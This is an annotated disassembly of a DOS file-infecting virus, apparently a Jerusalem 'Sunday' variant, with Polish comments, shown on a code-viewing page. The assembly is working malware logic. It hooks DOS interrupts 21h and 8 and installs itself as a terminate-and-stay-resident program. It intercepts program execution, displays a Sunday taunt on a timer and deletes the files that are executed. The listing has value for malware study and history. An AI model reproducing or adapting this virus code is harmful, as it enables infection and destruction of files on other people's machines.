📄 j_sundyb.asm
字号:
XOR SI,SI ;offset zrodlowy ;92AF 33 F6
MOV DI,SI ;offset wynikowy ;92B1 8B FE
PUSH ES ;segment przepisanego ;92B3 06
MOV AX,OFFSET L013C ;offset kontynuacji ;92B4 B8 3C 01
PUSH AX ;92B7 50
JMP DWORD PTR L05F6 ;skok w wektor int FF ;92B8 FF 2E F6 05
;<- kontynuacja na nowym miejscu
L013C: MOV AX,CS ;92BC 8C C8
MOV SS,AX ;92BE 8E D0
MOV SP,OFFSET L065D ;92C0 BC 5D 06
XOR AX,AX ;92C3 33 C0
MOV DS,AX ;92C5 8E D8
MOV AX,CS:L004B ;odtworzenie wektora int ff ;92C7 2E A1 4B 00
MOV [BX],AX ;92CB 89 07
MOV AL,CS:L004D ;92CD 2E A0 4D 00
MOV [BX+2],AL ;92D1 88 47 02
MOV BX,SP ;sp -> paragraf ;92D4 8B DC
MOV CL,4 ;92D6 B1 04
SHR BX,CL ;92D8 D3 EB
ADD BX,20h ;+512 ;92DA 83 C3 20
and bx,0fff0h ;92DD 83 E3 F0
MOV CS:L0033,BX ;paragrafy bloku potrzebne ;92E0 2E 89 1E 33 00
MOV AH,4AH ;Set Block ;92E5 B4 4A
MOV ES,CS:L0031 ;segment bloku ;92E7 2E 8E 06 31 00
INT 21H ;92EC CD 21
MOV AX,3521h ;Get int 21h ;92EE B8 21 35
INT 21H ;92F1 CD 21
MOV CS:L0017,BX ;92F3 2E 89 1E 17 00
MOV CS:L0019,ES ;92F8 2E 8C 06 19 00
PUSH CS ;92FD 0E
POP DS ;92FE 1F
MOV DX,OFFSET L02D2 ;92FF BA D2 02
MOV AX,2521h ;Set int 21h ;9302 B8 21 25
INT 21H ;9305 CD 21
MOV ES,[L0031] ;segment wirusa ;9307 8E 06 31 00
MOV ES,ES:[2Ch] ;environment ;930B 26 8E 06 2C 00
XOR DI,DI ;szukamy nazwy nosiciela ;9310 33 FF
MOV CX,7FFFh ;9312 B9 FF 7F
XOR AL,AL ;9315 32 C0
L9317: REPNZ SCASB ;9317 F2 AE
CMP ES:[DI],AL ;9319 26 38 05
LOOPNZ L9317 ;931C E0 F9
MOV DX,DI ;pathname offset ;931E 8B D7
ADD DX,3 ;9320 83 C2 03
MOV AX,4B00h ;Load & Execute nosiciela ;9323 B8 00 4B
PUSH ES ;9326 06
POP DS ;pathname segment ;9327 1F
PUSH CS ;9328 0E
POP ES ;parameter block ;9329 07
MOV BX,OFFSET L0035 ;parameter block ;932A BB 35 00
PUSH DS ;932D 1E
PUSH ES ;932E 06
PUSH AX ;932F 50
PUSH BX ;9330 53
PUSH CX ;9331 51
PUSH DX ;9332 52
MOV AH,2AH ;Get Date ;9333 B4 2A
INT 21H ;9335 CD 21
MOV BYTE PTR CS:L000E,0 ;ptr aktywnosci wirusa ;9337 2E C6 06 0E 00 00
CMP CX,1989 ;rok ;933D 81 F9 C5 07
JZ L936F ;-> tak ;9341 74 2C
; Mistake! Range for AL is 0 ..6 !
CMP AL,7 ;niedziela ? ;9343 3C 07
JNZ L9350 ;-> nie ;9345 75 09
INC BYTE PTR CS:L000E ;ptr aktywnosci wirusa ;9347 2E FE 06 0E 00
JMP SHORT L936F ;934C EB 21
NOP ;934E 90
NOP ;934F 90
;<- to nie niedziela i rok nie 1989
L9350: MOV AX,3508h ;Get int 8 ;9350 B8 08 35
INT 21H ;9353 CD 21
MOV CS:L0013,BX ;9355 2E 89 1E 13 00
MOV CS:L0015,ES ;935A 2E 8C 06 15 00
PUSH CS ;935F 0E
POP DS ;9360 1F
MOV WORD PTR L001F,32400 ;30 minut ;9361 C7 06 1F 00 90 7E
MOV AX,2508h ;Set int 8 ;9367 B8 08 25
MOV DX,OFFSET L0216 ;936A BA 16 02
INT 21H ;936D CD 21
L936F: POP DX ;936F 5A
POP CX ;9370 59
POP BX ;9371 5B
POP AX ;9372 58
POP ES ;9373 07
POP DS ;9374 1F
PUSHF ;9375 9C
CALL DWORD PTR CS:L0017 ;old int 21h (run) ;9376 2E FF 1E 17 00
PUSH DS ;937B 1E
POP ES ;937C 07
MOV AH,49H ;Free allocated memory ;937D B4 49
INT 21H ;937F CD 21
MOV AH,4DH ;Get Return code of child proc ;9381 B4 4D
INT 21H ;9383 CD 21
MOV AH,31H ;Keep process ;9385 B4 31
MOV DX,OFFSET L065F ;adres konca ;9387 BA 5F 06
MOV CL,4 ;na paragrafy ;938A B1 04
SHR DX,CL ;938C D3 EA
ADD DX,10h ;zaokraglenie ;938E 83 C2 10
INT 21H ;9391 CD 21
;-----------------------------------------------
; Wlasna obsluga int 24h
;-----------------------------------------------
L0213: XOR AX,AX ;9393 33 C0
IRET ;9395 CF
;================================================================
; Nowa obsluga int 8
;----------------------------------------------------------------
L0216: CMP BYTE PTR CS:L000E,1 ;ptr aktywnosci wirusa ;9396 2E 80 3E 0E 00 01
JNZ L93CC ;-> to nie sobota ;939C 75 2E
CMP WORD PTR CS:L001F,0 ;939E 2E 83 3E 1F 00 00
JNZ L93C7 ;-> jeszcze mamy czas ;93A4 75 21
PUSH AX ;93A6 50
PUSH BX ;93A7 53
PUSH SI ;93A8 56
MOV AH,0EH ; ;93A9 B4 0E
MOV BL,1FH ;atrybut ;93AB B3 1F
LEA SI,L0251 ;'Today is SunDay...' ;93AD 8D 36 51 02
L93B1: MOV AL,CS:[SI] ;znak ;93B1 2E 8A 04
CMP AL,'$' ;koniec ? ;93B4 3C 24
JZ L93BD ;-> tak ;93B6 74 05
INT 10H ;93B8 CD 10
INC SI ;93BA 46
JMP SHORT L93B1 ;93BB EB F4
L93BD: MOV WORD PTR CS:L001F,32400 ;reset licznika na 30min;93BD 2E C7 06 1F 00 90 7E
POP SI ;93C4 5E
POP BX ;93C5 5B
POP AX ;93C6 58
L93C7: DEC WORD PTR CS:L001F ;licznik zwloki ;93C7 2E FF 0E 1F 00
L93CC: JMP DWORD PTR CS:L0013 ;oryginal int 8 ;93CC 2E FF 2E 13 00
L0251 DB 'Today is SunDay! Why do you work so hard?',LF,CR
DB 'All work and no play make you a dull boy!',LF,CR
DB "Come on ! Let's go out and have some fun!$"
;================================================================
; Nowa obsluga int 21h
;----------------------------------------------------------------
L02D2: PUSHF ;9452 9C
CMP AH,0FFH ;czy to pytanie o wirusa ? ;9453 80 FC FF
JNZ L945D ;-> nie ;9456 75 05
MOV AX,0400h ;sygnalizacja obecnosci ;9458 B8 00 04
POPF ;945B 9D
IRET ;945C CF
L945D: CMP AH,0DDH ;uruchomienie nosiciela COM ? ;945D 80 FC DD
JZ L9470 ;-> tak ;9460 74 0E
CMP AX,4B00h ;Load & Execute ? ;9462 3D 00 4B
JNZ L946A ;-> nie, przezroczystosc ;9465 75 03
JMP SHORT L949E ;-> tak ;9467 EB 35
NOP ;9469 90
L946A: POPF ;946A 9D
JMP DWORD PTR CS:L0017 ;old int 21h ;946B 2E FF 2E 17 00
L9470: POP AX ;<- 0DDh, uruchom nosiciela COM ;9470 58
POP AX ;9471 58
MOV AX,0100h ;IP ;9472 B8 00 01
MOV CS:L000A,AX ;9475 2E A3 0A 00
POP AX ;CS ;9479 58
MOV CS:L000C,AX ;947A 2E A3 0C 00
REPZ MOVSB ;przeslanie programu na wirusa ;947E F3 A4
POPF ;9480 9D
MOV AX,CS:L000F ;? ;9481 2E A1 0F 00
JMP DWORD PTR CS:L000A ;9485 2E FF 2E 0A 00
;<- uruchamianie programu w fazie aktywnosci
L948A: XOR CX,CX ;948A 33 C9
MOV AX,4301h ;Set file attributes ;948C B8 01 43
INT 21H ;948F CD 21
MOV AH,41H ;Delete Directory Entry ;9491 B4 41
INT 21H ;9493 CD 21
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -